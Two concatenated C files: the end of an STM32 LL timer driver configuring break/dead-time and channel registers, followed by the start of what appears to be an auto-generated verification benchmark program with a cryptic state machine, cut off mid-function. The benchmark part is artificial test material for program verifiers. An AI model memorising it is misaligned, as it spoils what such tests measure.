of them during the first write access to * the TIMx_BDTR register. * @note Macro IS_TIM_BREAK_INSTANCE(TIMx) can be used to check whether or not * a timer instance provides a break input. * @note Macro IS_TIM_BKIN2_INSTANCE(TIMx) can be used to check whether or not * a timer instance provides a second break input. * @param TIMx Timer Instance * @param TIM_BDTRInitStruct pointer to a @ref LL_TIM_BDTR_InitTypeDef structure (Break and Dead Time configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: Break and Dead Time is initialized * - ERROR: not applicable */ ErrorStatus LL_TIM_BDTR_Init(TIM_TypeDef *TIMx, LL_TIM_BDTR_InitTypeDef *TIM_BDTRInitStruct) { uint32_t tmpbdtr = 0; /* Check the parameters */ assert_param(IS_TIM_BREAK_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OSSR_STATE(TIM_BDTRInitStruct->OSSRState)); assert_param(IS_LL_TIM_OSSI_STATE(TIM_BDTRInitStruct->OSSIState)); assert_param(IS_LL_TIM_LOCK_LEVEL(TIM_BDTRInitStruct->LockLevel)); assert_param(IS_LL_TIM_BREAK_STATE(TIM_BDTRInitStruct->BreakState)); assert_param(IS_LL_TIM_BREAK_POLARITY(TIM_BDTRInitStruct->BreakPolarity)); assert_param(IS_LL_TIM_AUTOMATIC_OUTPUT_STATE(TIM_BDTRInitStruct->AutomaticOutput)); /* Set the Lock level, the Break enable Bit and the Polarity, the OSSR State, the OSSI State, the dead time value and the Automatic Output Enable Bit */ /* Set the BDTR bits */ MODIFY_REG(tmpbdtr, TIM_BDTR_DTG, TIM_BDTRInitStruct->DeadTime); MODIFY_REG(tmpbdtr, TIM_BDTR_LOCK, TIM_BDTRInitStruct->LockLevel); MODIFY_REG(tmpbdtr, TIM_BDTR_OSSI, TIM_BDTRInitStruct->OSSIState); MODIFY_REG(tmpbdtr, TIM_BDTR_OSSR, TIM_BDTRInitStruct->OSSRState); MODIFY_REG(tmpbdtr, TIM_BDTR_BKE, TIM_BDTRInitStruct->BreakState); MODIFY_REG(tmpbdtr, TIM_BDTR_BKP, TIM_BDTRInitStruct->BreakPolarity); MODIFY_REG(tmpbdtr, TIM_BDTR_AOE, TIM_BDTRInitStruct->AutomaticOutput); MODIFY_REG(tmpbdtr, TIM_BDTR_MOE, TIM_BDTRInitStruct->AutomaticOutput); if (IS_TIM_ADVANCED_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_BREAK_FILTER(TIM_BDTRInitStruct->BreakFilter)); MODIFY_REG(tmpbdtr, TIM_BDTR_BKF, TIM_BDTRInitStruct->BreakFilter); } if (IS_TIM_BKIN2_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_BREAK2_STATE(TIM_BDTRInitStruct->Break2State)); assert_param(IS_LL_TIM_BREAK2_POLARITY(TIM_BDTRInitStruct->Break2Polarity)); assert_param(IS_LL_TIM_BREAK2_FILTER(TIM_BDTRInitStruct->Break2Filter)); /* Set the BREAK2 input related BDTR bit-fields */ MODIFY_REG(tmpbdtr, TIM_BDTR_BK2F, (TIM_BDTRInitStruct->Break2Filter)); MODIFY_REG(tmpbdtr, TIM_BDTR_BK2E, TIM_BDTRInitStruct->Break2State); MODIFY_REG(tmpbdtr, TIM_BDTR_BK2P, TIM_BDTRInitStruct->Break2Polarity); } /* Set TIMx_BDTR */ LL_TIM_WriteReg(TIMx, BDTR, tmpbdtr); return SUCCESS; } /** * @} */ /** * @} */ /** @addtogroup TIM_LL_Private_Functions TIM Private Functions * @brief Private functions * @{ */ /** * @brief Configure the TIMx output channel 1. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 1 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC1Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr1; uint32_t tmpccer; uint32_t tmpcr2; /* Check the parameters */ assert_param(IS_TIM_CC1_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); /* Disable the Channel 1: Reset the CC1E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC1E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CR2 register value */ tmpcr2 = LL_TIM_ReadReg(TIMx, CR2); /* Get the TIMx CCMR1 register value */ tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1); /* Reset Capture/Compare selection Bits */ CLEAR_BIT(tmpccmr1, TIM_CCMR1_CC1S); /* Set the Output Compare Mode */ MODIFY_REG(tmpccmr1, TIM_CCMR1_OC1M, TIM_OCInitStruct->OCMode); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC1P, TIM_OCInitStruct->OCPolarity); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC1E, TIM_OCInitStruct->OCState); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the complementary output Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC1NP, TIM_OCInitStruct->OCNPolarity << 2U); /* Set the complementary output State */ MODIFY_REG(tmpccer, TIM_CCER_CC1NE, TIM_OCInitStruct->OCNState << 2U); /* Set the Output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS1, TIM_OCInitStruct->OCIdleState); /* Set the complementary output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS1N, TIM_OCInitStruct->OCNIdleState << 1U); } /* Write to TIMx CR2 */ LL_TIM_WriteReg(TIMx, CR2, tmpcr2); /* Write to TIMx CCMR1 */ LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH1(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx output channel 2. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 2 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC2Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr1; uint32_t tmpccer; uint32_t tmpcr2; /* Check the parameters */ assert_param(IS_TIM_CC2_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); /* Disable the Channel 2: Reset the CC2E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC2E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CR2 register value */ tmpcr2 = LL_TIM_ReadReg(TIMx, CR2); /* Get the TIMx CCMR1 register value */ tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1); /* Reset Capture/Compare selection Bits */ CLEAR_BIT(tmpccmr1, TIM_CCMR1_CC2S); /* Select the Output Compare Mode */ MODIFY_REG(tmpccmr1, TIM_CCMR1_OC2M, TIM_OCInitStruct->OCMode << 8U); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC2P, TIM_OCInitStruct->OCPolarity << 4U); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC2E, TIM_OCInitStruct->OCState << 4U); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the complementary output Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC2NP, TIM_OCInitStruct->OCNPolarity << 6U); /* Set the complementary output State */ MODIFY_REG(tmpccer, TIM_CCER_CC2NE, TIM_OCInitStruct->OCNState << 6U); /* Set the Output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS2, TIM_OCInitStruct->OCIdleState << 2U); /* Set the complementary output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS2N, TIM_OCInitStruct->OCNIdleState << 3U); } /* Write to TIMx CR2 */ LL_TIM_WriteReg(TIMx, CR2, tmpcr2); /* Write to TIMx CCMR1 */ LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH2(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx output channel 3. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 3 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC3Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr2; uint32_t tmpccer; uint32_t tmpcr2; /* Check the parameters */ assert_param(IS_TIM_CC3_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); /* Disable the Channel 3: Reset the CC3E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC3E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CR2 register value */ tmpcr2 = LL_TIM_ReadReg(TIMx, CR2); /* Get the TIMx CCMR2 register value */ tmpccmr2 = LL_TIM_ReadReg(TIMx, CCMR2); /* Reset Capture/Compare selection Bits */ CLEAR_BIT(tmpccmr2, TIM_CCMR2_CC3S); /* Select the Output Compare Mode */ MODIFY_REG(tmpccmr2, TIM_CCMR2_OC3M, TIM_OCInitStruct->OCMode); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC3P, TIM_OCInitStruct->OCPolarity << 8U); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC3E, TIM_OCInitStruct->OCState << 8U); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the complementary output Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC3NP, TIM_OCInitStruct->OCNPolarity << 10U); /* Set the complementary output State */ MODIFY_REG(tmpccer, TIM_CCER_CC3NE, TIM_OCInitStruct->OCNState << 10U); /* Set the Output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS3, TIM_OCInitStruct->OCIdleState << 4U); /* Set the complementary output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS3N, TIM_OCInitStruct->OCNIdleState << 5U); } /* Write to TIMx CR2 */ LL_TIM_WriteReg(TIMx, CR2, tmpcr2); /* Write to TIMx CCMR2 */ LL_TIM_WriteReg(TIMx, CCMR2, tmpccmr2); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH3(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx output channel 4. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 4 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC4Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr2; uint32_t tmpccer; uint32_t tmpcr2; /* Check the parameters */ assert_param(IS_TIM_CC4_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); /* Disable the Channel 4: Reset the CC4E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC4E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CR2 register value */ tmpcr2 = LL_TIM_ReadReg(TIMx, CR2); /* Get the TIMx CCMR2 register value */ tmpccmr2 = LL_TIM_ReadReg(TIMx, CCMR2); /* Reset Capture/Compare selection Bits */ CLEAR_BIT(tmpccmr2, TIM_CCMR2_CC4S); /* Select the Output Compare Mode */ MODIFY_REG(tmpccmr2, TIM_CCMR2_OC4M, TIM_OCInitStruct->OCMode << 8U); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC4P, TIM_OCInitStruct->OCPolarity << 12U); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC4E, TIM_OCInitStruct->OCState << 12U); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the Output Idle state */ MODIFY_REG(tmpcr2, TIM_CR2_OIS4, TIM_OCInitStruct->OCIdleState << 6U); } /* Write to TIMx CR2 */ LL_TIM_WriteReg(TIMx, CR2, tmpcr2); /* Write to TIMx CCMR2 */ LL_TIM_WriteReg(TIMx, CCMR2, tmpccmr2); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH4(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx output channel 5. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 5 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC5Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr3; uint32_t tmpccer; /* Check the parameters */ assert_param(IS_TIM_CC5_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); /* Disable the Channel 5: Reset the CC5E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC5E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CCMR3 register value */ tmpccmr3 = LL_TIM_ReadReg(TIMx, CCMR3); /* Select the Output Compare Mode */ MODIFY_REG(tmpccmr3, TIM_CCMR3_OC5M, TIM_OCInitStruct->OCMode); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC5P, TIM_OCInitStruct->OCPolarity << 16U); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC5E, TIM_OCInitStruct->OCState << 16U); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the Output Idle state */ MODIFY_REG(TIMx->CR2, TIM_CR2_OIS5, TIM_OCInitStruct->OCIdleState << 8U); } /* Write to TIMx CCMR3 */ LL_TIM_WriteReg(TIMx, CCMR3, tmpccmr3); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH5(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx output channel 6. * @param TIMx Timer Instance * @param TIM_OCInitStruct pointer to the the TIMx output channel 6 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus OC6Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct) { uint32_t tmpccmr3; uint32_t tmpccer; /* Check the parameters */ assert_param(IS_TIM_CC6_INSTANCE(TIMx)); assert_param(IS_LL_TIM_OCMODE(TIM_OCInitStruct->OCMode)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCState)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCPolarity)); assert_param(IS_LL_TIM_OCPOLARITY(TIM_OCInitStruct->OCNPolarity)); assert_param(IS_LL_TIM_OCSTATE(TIM_OCInitStruct->OCNState)); /* Disable the Channel 5: Reset the CC6E Bit */ CLEAR_BIT(TIMx->CCER, TIM_CCER_CC6E); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx CCMR3 register value */ tmpccmr3 = LL_TIM_ReadReg(TIMx, CCMR3); /* Select the Output Compare Mode */ MODIFY_REG(tmpccmr3, TIM_CCMR3_OC6M, TIM_OCInitStruct->OCMode << 8U); /* Set the Output Compare Polarity */ MODIFY_REG(tmpccer, TIM_CCER_CC6P, TIM_OCInitStruct->OCPolarity << 20U); /* Set the Output State */ MODIFY_REG(tmpccer, TIM_CCER_CC6E, TIM_OCInitStruct->OCState << 20U); if (IS_TIM_BREAK_INSTANCE(TIMx)) { assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCNIdleState)); assert_param(IS_LL_TIM_OCIDLESTATE(TIM_OCInitStruct->OCIdleState)); /* Set the Output Idle state */ MODIFY_REG(TIMx->CR2, TIM_CR2_OIS6, TIM_OCInitStruct->OCIdleState << 10U); } /* Write to TIMx CCMR3 */ LL_TIM_WriteReg(TIMx, CCMR3, tmpccmr3); /* Set the Capture Compare Register value */ LL_TIM_OC_SetCompareCH6(TIMx, TIM_OCInitStruct->CompareValue); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Configure the TIMx input channel 1. * @param TIMx Timer Instance * @param TIM_ICInitStruct pointer to the the TIMx input channel 1 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus IC1Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct) { /* Check the parameters */ assert_param(IS_TIM_CC1_INSTANCE(TIMx)); assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter)); /* Disable the Channel 1: Reset the CC1E Bit */ TIMx->CCER &= (uint32_t)~TIM_CCER_CC1E; /* Select the Input and set the filter and the prescaler value */ MODIFY_REG(TIMx->CCMR1, (TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC), (TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 16U); /* Select the Polarity and set the CC1E Bit */ MODIFY_REG(TIMx->CCER, (TIM_CCER_CC1P | TIM_CCER_CC1NP), (TIM_ICInitStruct->ICPolarity | TIM_CCER_CC1E)); return SUCCESS; } /** * @brief Configure the TIMx input channel 2. * @param TIMx Timer Instance * @param TIM_ICInitStruct pointer to the the TIMx input channel 2 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus IC2Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct) { /* Check the parameters */ assert_param(IS_TIM_CC2_INSTANCE(TIMx)); assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter)); /* Disable the Channel 2: Reset the CC2E Bit */ TIMx->CCER &= (uint32_t)~TIM_CCER_CC2E; /* Select the Input and set the filter and the prescaler value */ MODIFY_REG(TIMx->CCMR1, (TIM_CCMR1_CC2S | TIM_CCMR1_IC2F | TIM_CCMR1_IC2PSC), (TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 8U); /* Select the Polarity and set the CC2E Bit */ MODIFY_REG(TIMx->CCER, (TIM_CCER_CC2P | TIM_CCER_CC2NP), ((TIM_ICInitStruct->ICPolarity << 4U) | TIM_CCER_CC2E)); return SUCCESS; } /** * @brief Configure the TIMx input channel 3. * @param TIMx Timer Instance * @param TIM_ICInitStruct pointer to the the TIMx input channel 3 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus IC3Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct) { /* Check the parameters */ assert_param(IS_TIM_CC3_INSTANCE(TIMx)); assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter)); /* Disable the Channel 3: Reset the CC3E Bit */ TIMx->CCER &= (uint32_t)~TIM_CCER_CC3E; /* Select the Input and set the filter and the prescaler value */ MODIFY_REG(TIMx->CCMR2, (TIM_CCMR2_CC3S | TIM_CCMR2_IC3F | TIM_CCMR2_IC3PSC), (TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 16U); /* Select the Polarity and set the CC3E Bit */ MODIFY_REG(TIMx->CCER, (TIM_CCER_CC3P | TIM_CCER_CC3NP), ((TIM_ICInitStruct->ICPolarity << 8U) | TIM_CCER_CC3E)); return SUCCESS; } /** * @brief Configure the TIMx input channel 4. * @param TIMx Timer Instance * @param TIM_ICInitStruct pointer to the the TIMx input channel 4 configuration data structure * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ static ErrorStatus IC4Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct) { /* Check the parameters */ assert_param(IS_TIM_CC4_INSTANCE(TIMx)); assert_param(IS_LL_TIM_IC_POLARITY(TIM_ICInitStruct->ICPolarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_ICInitStruct->ICActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_ICInitStruct->ICPrescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_ICInitStruct->ICFilter)); /* Disable the Channel 4: Reset the CC4E Bit */ TIMx->CCER &= (uint32_t)~TIM_CCER_CC4E; /* Select the Input and set the filter and the prescaler value */ MODIFY_REG(TIMx->CCMR2, (TIM_CCMR2_CC4S | TIM_CCMR2_IC4F | TIM_CCMR2_IC4PSC), (TIM_ICInitStruct->ICActiveInput | TIM_ICInitStruct->ICFilter | TIM_ICInitStruct->ICPrescaler) >> 8U); /* Select the Polarity and set the CC2E Bit */ MODIFY_REG(TIMx->CCER, (TIM_CCER_CC4P | TIM_CCER_CC4NP), ((TIM_ICInitStruct->ICPolarity << 12U) | TIM_CCER_CC4E)); return SUCCESS; } /** * @} */ /** * @} */ #endif /* TIM1 || TIM2 || TIM16 || TIM17 */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/62636815.c
extern void __VERIFIER_error(void); extern int __VERIFIER_nondet_int(void); extern void exit(int); // inputs int d= 4; int f= 6; int a= 1; int e= 5; int c= 3; int b= 2; // outputs int u = 21; int v = 22; int w = 23; int x = 24; int y = 25; int z = 26; int a1 = 1; int a4 = 1; int a0 = 1; int a15 = 1; int a29 = 1; int a10 = 1; int a16 = 1; int a22 = 1; int a2 = 0; int a17 = 0; int a25 = 0; int a7 = 0; int a14 = 0; int a19 = 0; int a20 = 0; int a8 = 0; int a23 = 0; int a21 = 1; int a24 = 1; int a13 = 1; int a9 = 1; int a28 = 1; int a26 = 0; int a6 = 0; int a27 = 1; int a12 = 0; int a3 = 1; int a11 = 0; int a5 = 1; int a18 = 1; int calculate_output(int input) { if((((((a18==1)&&((((a22==1)&&(a4==1))||(a2==1))&&(a0==1)))&&(a11==1))&&(a3==2))&&(!(a8==1)&&(((a5==1)&&((a6==1)&&(((((!(a27==1)&&!(a26==1))&&(a12==1))||(((a26==1)&&(a27==1))&&!(a12==1)))&&(input==5))&&!(a2==1))))&&!(a25==1))))){ if((a18==1)){ a2 = 0; a27 = 1; a25 = 0; a19 = 0; a26 = 1; a11 = 0; a12 = 0; }else{ a12 = 0; a29 = 1; a26 = 1; a27 = 1; a6 = 0; a1 = 1; } return 23; } else if(((((a5==1)&&((a20==1)&&(((!(a26==1)&&(a27==1))||(!(a27==1)&&(a26==1)))&&(input==6))))&&!(a15==1))&&(((a3==2)&&(!(a1==1)&&((a18==1)&&((a19==1)&&(((((a0==1)&&!(a16==1))&&(a12==1))&&(a14==1))&&(a6==1))))))&&!(a11==1)))){ a26 = 1; a3 = 0; a27 = 0; a17 = 1; a25 = 1; a19 = 1; a11 = 1; return -1; } else if(((!(a1==1)||((a10==1)&&((a4==1)&&!(a8==1))))&&((!(a11==1)&&(!(a14==1)&&(((a18==1)&&(!(a12==1)&&((((a3==2)&&(((((a26==1)&&(a27==1))||(!(a26==1)&&(a27==1)))||((a26==1)&&!(a27==1)))&&(input==5)))&&!(a8==1))&&(a16==1))))&&(a6==1))))&&(a5==1)))){ a4 = 1; a26 = 0; a25 = 0; a2 = 0; a27 = 1; return -1; } else if(((((a3==1)&&(!(a6==1)&&((!(a14==1)&&(((input==5)&&!(a26==1))&&(a1==1)))&&!(a8==1))))&&(a27==1))&&(((!(a16==1)||((!(a12==1)&&((a5==1)&&((a29==1)&&!(a25==1))))&&(a18==1)))&&(a10==1))&&!(a11==1)))){ a17 = 0; a1 = 1; a25 = 0; a27 = 0; return 26; } else if(((!(a26==1)&&((a5==1)&&((a18==1)&&(((a4==1)&&!(a11==1))&&!(a6==1)))))&&(((a29==1)&&(!(a23==1)&&(!(a7==1)&&((!(a25==1)&&(((!(a27==1)&&(input==1))&&(a3==1))&&(a10==1)))&&!(a14==1)))))&&!(a12==1)))){ a26 = 1; a11 = 1; a3 = 0; a27 = 1; a6 = 1; a12 = 1; a15 = 1; a4 = 1; return -1; } else if(((((a16==1)&&((a3==2)&&((a11==1)&&((a20==1)||((a16==1)&&(a18==1))))))&&(a22==1))&&((a15==1)&&((a22==1)&&(((a5==1)&&(((((!(a26==1)&&!(a27==1))||(((a27==1)&&!(a26==1))||(!(a27==1)&&(a26==1))))&&(input==2))&&!(a17==1))&&!(a12==1)))&&(a6==1)))))){ a7 = 0; a1 = 1; a3 = 0; a12 = 1; a26 = 1; a27 = 1; a14 = 0; return -1; } else if((((((a18==1)&&((((((!(a12==1)&&((!(a26==1)&&!(a6==1))&&!(a27==1)))&&(a3==2))&&!(a11==1))&&(a5==1))||(!(a5==1)&&(((a3==0)&&((a12==1)&&((a27==1)&&((a26==1)&&(a6==1)))))&&(a11==1))))&&(input==3)))&&!(a20==1))&&!(a23==1))&&(!(a29==1)||(!(a1==1)||(!(a15==1)||(!(a17==1)&&(a4==1))))))){ a19 = 1; a12 = 1; a24 = 1; a5 = 1; a26 = 1; a11 = 0; a6 = 0; a28 = 0; a27 = 1; a3 = 0; return 25; } else if(((((((!(a20==1)&&((((a15==1)&&((input==1)&&(((a12==1)&&(!(a27==1)&&!(a26==1)))||(((a27==1)&&(a26==1))&&!(a12==1)))))&&!(a8==1))&&(a5==1)))&&(a11==1))&&!(a17==1))&&(a4==1))&&(a6==1))&&(!(a19==1)&&((a18==1)&&((a3==2)&&(a0==1)))))){ a16 = 1; a22 = 1; a8 = 0; a3 = 0; a26 = 1; 